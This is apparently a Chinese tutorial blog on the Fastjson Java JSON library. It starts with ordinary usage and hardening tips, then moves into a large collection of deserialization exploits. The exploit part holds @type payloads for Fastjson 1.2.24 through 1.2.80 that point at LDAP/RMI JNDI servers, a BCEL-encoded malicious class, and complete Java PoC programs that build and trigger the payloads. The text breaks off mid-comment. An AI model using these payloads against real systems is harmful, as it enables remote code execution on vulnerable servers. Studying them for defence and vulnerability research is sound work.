Fastjson反序列化基础
参考文章:
分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集
Java反序列化Fastjson篇01-FastJson基础
简介
Fastjson 是阿里巴巴开源的高性能JSON 解析库,专为 Java 设计,具备超快的 JSON 解析速度和丰富的功能。它支持 JSON 与 Java 对象之间的序列化与反序列化,适用于 Web 应用、分布式系统、缓存等场景。
序列化:
JSON.toJSONString
将Java对象转换为json对象反序列化:
JSON.parseObject/JSON.parse
将 json 对象重新变回 Java 对象
使用方式:
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
依赖配置
在pom中添加
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.37</version>
</dependency>
JSON 序列化和反序列化
Java对象转JSON字符串(序列化)
import com.alibaba.fastjson.JSON;
class User {
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
// 省略 getter 和 setter 方法
}
public class FastjsonExample {
public static void main(String[] args) {
User user = new User("Alice", 25);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
}
}
输出:
{"age":25,"name":"Alice"}
JSON 字符串转 Java 对象(反序列化)
String json = "{\"age\":25,\"name\":\"Alice\"}";
User user = JSON.parseObject(json, User.class);
System.out.println(user.getName()); // Alice
解析JSON数组
String jsonArray = "[{\"name\":\"Alice\",\"age\":25},{\"name\":\"Bob\",\"age\":30}]";
List<User> users = JSON.parseArray(jsonArray, User.class);
System.out.println(users.get(1).getName()); // Bob
使用 JSONPath 查询 JSON 数据
Fastjson 提供 JSONPath
以便高效查询 JSON 结构化数据。
查询JSON中的某个字段
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONPath;
String json = "{\"name\":\"Alice\",\"age\":25,\"address\":{\"city\":\"Shanghai\",\"zip\":\"200000\"}}";
Object city = JSONPath.read(json, "$.address.city");
System.out.println(city); // Shanghai
查询JSON数组中的对象
String jsonArray = "[{\"name\":\"Alice\",\"age\":25},{\"name\":\"Bob\",\"age\":30}]";
List<Object> names = (List<Object>) JSONPath.read(jsonArray, "$[*].name");
System.out.println(names); // [Alice, Bob]
配置 Fastjson 特性
Fastjson 提供了丰富的配置选项,例如:
格式化 JSON 输出
String prettyJson = JSON.toJSONString(user, true);
System.out.println(prettyJson);
序列化时忽略
null
值
String jsonString = JSON.toJSONString(user, SerializerFeature.WriteMapNullValue);
禁止循环引用
String jsonString = JSON.toJSONString(user, SerializerFeature.DisableCircularReferenceDetect);
常见实践
处理复杂 JSON 结构
JSONObject jsonObject = JSON.parseObject("{\"data\":{\"user\":{\"name\":\"Alice\"}}}");
String name = jsonObject.getJSONObject("data").getJSONObject("user").getString("name");
System.out.println(name); // Alice
JSON 转 Map
Map<String, Object> map = JSON.parseObject(json, new TypeReference<Map<String, Object>>() {});
System.out.println(map.get("name"));
JSON 转 Java BeanList
List<User> userList = JSON.parseArray(jsonArray, User.class);
System.out.println(userList.get(0).getName());
安全性注意事项
Fastjson 存在反序列化漏洞,尤其是 1.x 版本,容易遭受反序列化攻击。建议采取以下措施:
升级到 Fastjson 2.x(如
2.0.37
),避免已知漏洞。启用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true);
禁用自动类型解析:
JSON.parseObject(json, Object.class, Feature.SupportAutoType);
使用白名单机制:
ParserConfig.getGlobalInstance().addAccept("com.example.");
Fastjson反序列化漏洞
Fastjson漏洞原理
总的来说就是通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其反序列化的同时执行了恶意类中的恶意函数,进而导致代码执行。
核心代码:User user = JSON.parseObject(json, User.class);
首先,如何反序列化成恶意类
这里是把json反序列化为User类,那么当然User类的类型越大,可利用空间就越多,如果是Object类,由于Object类是任意类的父类,所以就可以反序列化出所有类
其次,如何触发恶意类中的恶意函数
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。每次获取json数据的详细类型,都要读取@type,而@type 可以指定反序列化任意类调用其set,get,is方法,所以我们需要在这些方法中传入恶意函数,这样在反序列化恶意类时就能触发恶意函数
不过这里需要注意的是并不是所有的get和set方法都会被调用
满足条件的setter
非静态数据
返回类型为void或当前类
参数为1个
满足条件的getter
非静态方法
无参数
返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
poc
{
"@type": "com.example.User", // @type指定了反序列化得到的类
"name": "test",
"age": 20
}
需要找到目标环境下已存在的类,满足如下两个条件
该类的getter或setter方法中需要存在危险操作
可以控制该漏洞函数的变量
漏洞demo
package org.example;
class User {
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public User() {
}
public String getName() {
return name;
}
public int getAge() throws Exception{
System.out.println("getProperties");
Runtime.getRuntime().exec("calc");
return age;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastjsonExample {
public static void main(String[] args) {
String json = "{\"@type\":\"org.example.User\",\"name\":\"Alice\",\"age\":25}";
Object user = JSON.parseObject(json, Object.class);
System.out.println(user);
System.out.println(user.getClass().getName()); // Alice
}
}
第一次没有触发恶意代码,是因为这里的get没有满足返回值类型必须是 Collection / Map / AtomicBoolean / AtomicInteger / AtomicLong(或其子类),这一特点,在这里没有被自动触发,导致代码未被执行。
这里把set方法改成如下就能正确触发了,
public void setAge(int age) throws Exception{
System.out.println("getProperties");
Runtime.getRuntime().exec("calc");
this.age = age;
}
Fastjson漏洞POC收集
Fastjson 1.2.24版本
TemplatesImpl 反序列化
最终Poc
为
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意字节码"],
"_name": "test",
"_tfactory": {},
"_outputProperties": {},
}
JdbcRowSetImpl 反序列化
最终Poc
为
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
Fastjson 1.2.25版本
附上Poc
{
"@type":"[com.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
或
{
"a":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}
Fastjson 1.2.42版本
最终Poc
,添加两个类描述符
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
Fastjson 1.2.43版本
附上poc
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
或
{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}
Fastjson 1.2.45版本
分析版本来到fastjson1.2.45
,此版本升级后,存在一个黑名单匹配绕过
,绕过类
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
利用条件如下
目标服务端存在
mybatis
的jar包。版本需为
3.x.x ~ 3.5.0
autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
Poc
如下
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1234/Exploit"
}
}
或
{
"b":{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"ldap://localhost:1389/Exploit"}
}
}
Fastjson <=1.2.62 和 <=1.2.66版本
积累的两个poc
,基于黑名单绕过fastjson <= 1.2.62
{ "@type":"org.apache.xbean.propertyeditor.JndiConverter", "AsText":"rmi://127.0.0.1:1099/exploit"}";
基于fastjson<=1.2.66
的poc
{ "@type":"org.apache.shiro.jndi.JndiObjectFactory", "resourceName":"ldap://192.168.80.1:1389/Calc" }
Fastjson 1.2.80版本
构造poc
如下,成功弹出计算器
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
}
}
bit4woo师傅汇总的POC
参考文档:
基于com.sun.rowset.JdbcRowSetImpl的PoC1
该PoC需要使用JNDI,需要搭建web服务,RMI服务或LDAP服务,利用相对麻烦。但对于检测fastjson漏洞是否存在,这个却是最简单有效的(结合DNSlog)。
package fastjsonPoCs;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
/*
* 基于JNDI的PoC,可用的JNDI服务器有RMI,ldap。
*
*/
public class PoC1JNDI {
public static void main(String[] argv){
String xx = payload();
}
public static String payload(){
//JDK 8u121以后版本需要设置改系统变量
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//LADP
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}";
//RMI
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\",\"autoCommit\":true}";
JSONObject.parseObject(payload2);
JSON.parse(payload2);
return payload2;
}
}
以上poc共有三个触发点:静态代码块(Class.forName())、类实例化、和getObjectInstance()方法。
基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC2
这个PoC是漏洞利用时最方便的,它不需要依赖JNDI等服务,所有内容一个请求中搞定。
package fastjsonPoCs;
import evilClass.*;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;
/*
* 基于org.apache.tomcat.dbcp.dbcp.BasicDataSource的PoC,当然也可以说是基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC
* 前者的主要作用是触发,也就是包含Class.forName()函数的逻辑(createConnectionFactory函数中);后者是类加载器,可以解析特定格式的类byte[]。
*
*
* org.apache.tomcat.dbcp.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-7.0.65.jar
* org.apache.tomcat.dbcp.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-9.0.13.jar
* org.apache.commons.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/commons-dbcp/commons-dbcp
* org.apache.commons.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.commons/commons-dbcp2
*
* 主要参考:https://xz.aliyun.com/t/2272
*/
public class PoC2dbcp {
public static void main(String[] argv){
String xx = payload2();
}
public static String payload2() {
//payload3:https://xz.aliyun.com/t/2272
try {
String payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
// payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
// payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
// payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
byte[] bytecode = createEvilClass.create("evil","calc");
String classname = Utility.encode(bytecode,true);
//System.out.println(classname);
classname = "org.apache.log4j.spi$$BCEL$$"+classname;
payload2 = payload2.replace("xxxxxxxxxx", classname);
// ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
// Class.forName(classname, true, cls);
JSONObject.parseObject(payload2);
return payload2;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的PoC3(来自廖新喜)
这个PoC有限制,需要引用程序是如下写法:
JSON.parseObject(payload3, Object.class, config, Feature.SupportNonPublicField)
在实际的环境中基本遇不到,但其中的思路还是值得学习的。
package fastjsonPoCs;
import org.apache.commons.codec.binary.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/*
* 该poc来自于廖新喜大佬的文章:http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
* 基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,构造的恶意类需要是继承了AbstractTranslet的。